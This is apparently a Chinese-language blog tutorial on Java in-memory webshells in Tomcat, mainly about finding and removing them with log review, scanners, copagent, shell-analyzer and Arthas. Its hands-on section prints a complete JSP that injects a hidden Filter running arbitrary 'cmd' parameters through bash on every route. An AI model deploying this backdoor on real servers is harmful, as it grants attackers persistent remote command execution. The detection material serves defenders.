java内存马排除

内存马

介绍

webshell技术历程

​ 在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。

为什么使用内存马

​ 传统Webshell连接方式,都是先通过某种漏洞将恶意的脚本木马文件上传,然后通过中国菜刀,或者蚁剑,冰蝎等Webshell管理软件进行链接。

​ 这种方式目前仍然流行,但是由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时,于是乎,进化了一系列的加密一句话木马,但是这种方式还是不能绕过有类似文件监控的杀毒软件,于是乎进化了新一代的Webshell—》内存马。

什么是内存马

​ 内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器,我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码

内存马的类型

  • Tomcat-Servlet
  • Tomcat-Filter
  • Tomcat-Listener
  • Tomcat-Websocket
  • Tomcat-Agent
  • spring类型的内存马

后面三种还不太熟悉,目前先就前面三种进行介绍

基础

servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户

Servlet程序是由WEB服务器调用,web服务器收到客户端的Servlet访问请求后:

  1. Web服务器首先检查是否已经装载并创建了该Servlet的实例对象。如果是,则直接执行第4步,否则,执行第2步。
  2. 装载并创建该Servlet的一个实例对象。
  3. 调用Servlet实例对象的init()方法。
  4. 创建一个用于封装HTTP请求消息的HttpServletRequest对象和一个代表HTTP响应消息的HttpServletResponse对象,然后调用Servlet的service()方法并将请求和响应对象作为参数传递进去。
  5. WEB应用程序被停止或重新启动之前,Servlet引擎将卸载Servlet,并在卸载之前调用Servlet的destroy()方法。

Filter

​ Filter译为过滤器。过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

image-20240409074154745

​ web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。


Listener

​ 监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

主要由三部分构成:

  • 事件源:被监听的对象
  • 监听器:监听的对象,事件源的变化会触发监听器的响应行为
  • 响应行为:监听器监听到事件源的状态变化时所执行的动作

​ 在初始化时,需要将事件源和监听器进行绑定,也就是注册监听器。

​ 可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。


tomcat

​ 在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

image-20240409074626505


实战

首先,前提条件:必须你能上传jsp文件,并且可以被成功解析

上传代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "fengxuan";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
//别忘记带这个,不然的话其他的过滤器可能无法使用
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
//拦截的路由规则,/* 表示拦截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>

访问这个页面就可以成功注入了

image-20240409075410568

最后直接访问任意Servlet路由都可以执行命令,只需要在后门加上?cmd=命令即可

image-20240409075431965

这时候内存马就注入成功了,即使删除我们的注入文件jsp也是一样可以执行,这样就可以达到无文件的Webshell管理方式了。

只要重启服务器内存马就不存在了


内存马检测工具

排查思路

​ 先判断是通过什么方法注入的内存马,可以先查看web日志是否有web访问日志,如果是Filter或者Listener类型就会有大量的URL请求路径相同参数不同的,或者页面不存在但是返回200的,查看是否有类似哥斯拉,冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。

​ 通过查找返回200的URL路径对比Web目录下是否真实存在文件,如不存在大概率为内存马,如在web日志中并未发现异常,可以排除是否为中间件漏洞导致执行的内存马注入,排查中间件的error.log日志查看是否有可疑的报错,根据注入的时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在webshell,排查框架漏洞,反序列化漏洞。


java-memshell-scanner

下载好后,直接将tomcat-memshell-scanner.jsp文件放入到服务上访问即可。

image-20240409080003098

image-20240409080132068


Copagent

cop.jar文件

步骤:

  • dump内存下来,遇到禁止注入到jvm就g
  • 将java内存下载到本地,直接使用D盾扫描下载下来的class,java文件即可

项目地址https://github.com/LandGrey/copagent

jar包地址https://github.com/LandGrey/copagent/raw/release/cop.jar 使用下载的包,自己打的jar出错了

jps 可以看 java的进程

​ 上传到服务器上的tomcat目录前面,然后执行,选择tomcat进程,会在copagent中生成class,java文件夹,然后下载到本地,然后直接用D盾排查

image-20240409080623210


java-memshell-generator

shell-analyzer

基于java agent的内存马查杀的GUI工具

这个工具,可以关掉内存马,当不重启服务时。

使用这个工具需要确保Tomcat端口和10032端口开放。

使用过程

1
java -cp remote-0.1.jar:/usr/lib/jvm/java-8-openjdk-amd64**/jre/lib/tools.jar** com.n1ar4.RemoteLoader 4981 admin123

image-20240409081031289

java -cp remote-0.1.jar:/usr/lib/jvm/java-8-openjdk-amd64/lib/tools.jar com.n1ar4.RemoteLoader 4981 admin123

注意:使用jdk下的lib的tools.jar包

image-20240409081050377

启动gui时,也需要选择好jdk下的tools.jar工具注意,选择依赖jdk下的tools.jar包

image-20240409081116926

windows上启动gui.注意,选择好jdk下的tools.jar的包,依赖的主类

image-20240409081133768

image-20240409081237860

可以查看到,代码(也可以将代码复制出来,交给D盾,来判断)

疑问:servlet中间件,和filter,listener关系。

技巧:(工具)哥斯拉,冰蝎,内存马注入的名字,几乎一样的,(收集一下)

image-20240409081259850

复制名字到,方框里面,然后点击删除,就可以了。(当然,删除操作需要谨慎,弄不好就得重新启动服务了)


arthas-bools

linux自带的java环境openjdk不支持jps,jstack等命令

启动命令

1
java -jar arthas-boot.jar

image-20240409222748548

查看一下内存中的mbean信息

1
mbean | grep "name=/"

Arthas常用的命令

1
2
3
4
5
6
7
dashboard:显示当前应用程序的实时运行状况,包括 CPU 使用率、内存使用情况、线程情况等
jvm:查看和管理 JVM 的相关信息,包括堆内存、GC 状态、类加载情况等
sc:查看和搜索类信息,包括加载的类、类的字段和方法等。
sm:查看和搜索方法信息,可以查看方法的字节码、参数、返回值等
jad:反编译指定类的字节码,查看类的实现代码。
classloader:显示当前应用程序中所有的类加载器及其层次结构。可以查看每个类加载器的名称、父加载器和已加载的类数量
heapdump 生成 Java 应用程序的堆转储(Heap Dump)文件

Arthas排查内存马命令总结

1
2
3
4
5
classloader
sc *.Filter
sc *.Servlet
jad
heapdump

注意事项

使用Arthas-bools可能会遇到下面的报错

1
Unable to open socket file: target process not responding or HotSpot VM not loaded

img

改报错是因为tomcat是以tomcat用户运行的,而我们arthas是用root用户运行的,JVM只能attach同意用户下的java进程

使用runuser命令即可tomcat用户运行arthas。

1
runuser -l tomcat -c "java -jar /usr/share/tomcat/arthas-boot.jar"

img


哥斯拉

首先,使用哥斯拉生成码子,然后放在网站的根目录上。(略,自己弄个tomcat服务器,放在根目录ROOT下即可)

植入内存马前查看内存中的mbean信息。

1
mbean | grep "name=/"

img

哥斯拉的内存马有两种形式memoryshell和Filtershell两种。

Filtershell

注入内存马

img

img

可以看到所有的哥斯拉内存马的Filter的name中都带有时间戳

1
2
sc *.Filter
sc -d org.apache.coyote.SerializationConfig

img

使用jad反编译我们认为可疑的类

1
jad org.apache.coyote.SerializationConfig

img

代码中大量运用invoke反射来实现。

Memoryshell

img

1
2
mbean | grep "name=/"
sc *.Servlet

img

img

可疑的classloader

img


冰蝎

冰蝎内存马

冰蝎内存马由于对底层函数做了hook的操作,所以特征更弱一些。

先生成冰蝎4.0的服务端。

img

上传后注入内存马

img

开启冰蝎的防检测功能。

img

连上内存马。

img

冰蝎的classloader。

img

img

冰蝎马属于servlet类型的,不过并不是加载内存马之后才有的,而是连接冰蝎服务端的时候就有的。

反编译冰蝎的马,可以看到明显的AES加密的key

img

但是有个终极排查思路,就是内存dump

内存马清除

​ 找了一圈发现,arthas并没有直接关闭指定类的功能。但是可以使用arthas进行热更新代码;但是我使用它做编译的时候失败了,后来学习了一下Javaagent技术,可以对jvm内的运行时类操作,于是可以编写一个agent使用retransformClass字节码重定义技术重新定义这个类。

工具:https://github.com/Garck3h/killBehinderMemShell

直接使用工具重置javax.servlet.http.HttpServlet类

1
java -Xbootclasspath/a:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.372.b07-1.el7_9.x86_64/lib/tools.jar -jar killBehinderMemShell-1.0-jar-with-dependencies.jar 61259 javax.servlet.http.HttpServlet

浅谈冰蝎、哥斯拉内存马排查思路

heapdump的使用

不管冰蝎内存马如何hook,但是内存马肯定是存在内存中的,并且访问的时候有路由映射,那么内存dump出来的文件肯定会有记录。

1
2
3
4
5
heapdump


使用string查看post请求的记录;发现可疑的请求目录
strings /var/cache/tomcat/temp/heapdump2022-10-19-12-464292342944555007800.hprof| grep "POST /"

使用string查看post请求的记录;发现可疑的请求目录

img

查看可疑路径

1
strings /root/neicunma/apache-tomcat-8.0.35/temp/heapdump2023-08-16-23-286100384348377803151.hprof | grep -E "/webapps/.*?!" | sort -u

img

至此,冰蝎内存马已经排查完毕。

参考链接:https://blog.csdn.net/m0_60571990/article/details/128487029

参考链接:https://www.bmabk.com/index.php/post/189771.html